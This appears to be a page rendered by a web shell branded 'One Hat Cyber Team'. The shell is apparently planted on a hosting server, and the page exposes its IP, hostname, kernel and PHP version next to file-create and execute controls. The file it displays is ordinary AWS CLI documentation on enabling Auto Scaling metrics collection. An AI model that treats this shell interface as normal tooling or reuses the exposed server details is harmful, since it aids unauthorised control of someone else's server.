⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
awscli
/
examples
/
autoscaling
/
View File Name :
enable-metrics-collection.rst
**Example 1: To enable metrics collection for an Auto Scaling group** This example enables data collection for the specified Auto Scaling group. :: aws autoscaling enable-metrics-collection \ --auto-scaling-group-name my-asg \ --granularity "1Minute" This command produces no output. For more information, see `Monitoring CloudWatch metrics for your Auto Scaling groups and instances
`__ in the *Amazon EC2 Auto Scaling User Guide*. **Example 2: To collect data for the scpecified metric for an Auto Scaling group** To collect data for a specific metric, use the ``--metrics`` option. :: aws autoscaling enable-metrics-collection \ --auto-scaling-group-name my-asg \ --metrics GroupDesiredCapacity --granularity "1Minute" This command produces no output. For more information, see `Monitoring CloudWatch metrics for your Auto Scaling groups and instances
`__ in the *Amazon EC2 Auto Scaling User Guide*.